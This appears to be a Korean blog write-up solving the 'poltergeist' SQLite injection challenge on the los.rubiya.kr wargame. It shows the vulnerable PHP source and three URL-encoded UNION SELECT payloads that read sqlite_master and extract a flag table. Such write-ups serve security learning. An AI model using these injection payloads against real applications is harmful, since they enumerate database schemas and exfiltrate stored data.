일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- frontend
- PyAmdecoder
- JSTL
- spring
- 소프트웨어 개발보안 경진대회
- react
- jsp
- EER
- 메모리 포랜식
- 네이버 인턴
- 인턴 지원
- 인턴 후기
- 행정지역 DB
- 동읍면 DB
- DBMS
- reversing.kr
- SessionAttribute
- 정보보호병 후기
- ㅁㅇㅂ??ㅇㅈㄷ ㅎㅇㅌ...
- Layered Architecture
- Database
- mysql
- webhacking 처음
- restapi
- riceteacatpanda
- Forensic 절차
- 소개딩
- 방명록 만들기
- Django
- 3단계 지역 DB
- Today
- Total
웹찢남
poltergeist-writeup 본문
sqlite의 sql injection은 잘모르기 때문에 (이번 문제는 테이블 명도 알아야 해서 ㅠㅠ) 구글링을 했다!
위의 사이트 발견후 참조!
<?php
include "./config.php";
login_chk();
$db = sqlite_open("./db/poltergeist.db");
$query = "select id from member where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = sqlite_fetch_array(sqlite_query($db,$query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
if($poltergeistFlag === $_GET['pw']) solve("poltergeist");// Flag is in `flag_{$hash}` table, not in `member` table. Let's look over whole of the database.
highlight_file(__FILE__);
?>
문제는 위와 같았는데 저 주석 처리 된 부분을 보면 member table에 flag는 없으니 삽질하지말라고 친절하게 ㅎ...
바로~ 구글링해서 얻은 정보로 injection 시도 후 테이블 명 발견!
?pw=%27%20union%20select%20tbl_name%20from%20sqlite_master%20--%20
?pw=%27%20union%20select%20sql%20from%20sqlite_master%20where%20tbl_name=%27flag_70c81d99%27--%20
?pw=%27%20union%20select%20flag_0876285c%20from%20%27flag_70c81d99%27--%20
CLEAR!!! 이번 문제를 풀고 여러 종류의 SQL에 대해 공부해야겠다 생각이 들었다.
'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글
revenant-writeup (0) | 2020.01.30 |
---|---|
Nessie-writeup (0) | 2020.01.30 |
banshee-writeup (0) | 2020.01.30 |
manticore-writeup (0) | 2020.01.30 |
chupacabra-writeup (0) | 2020.01.30 |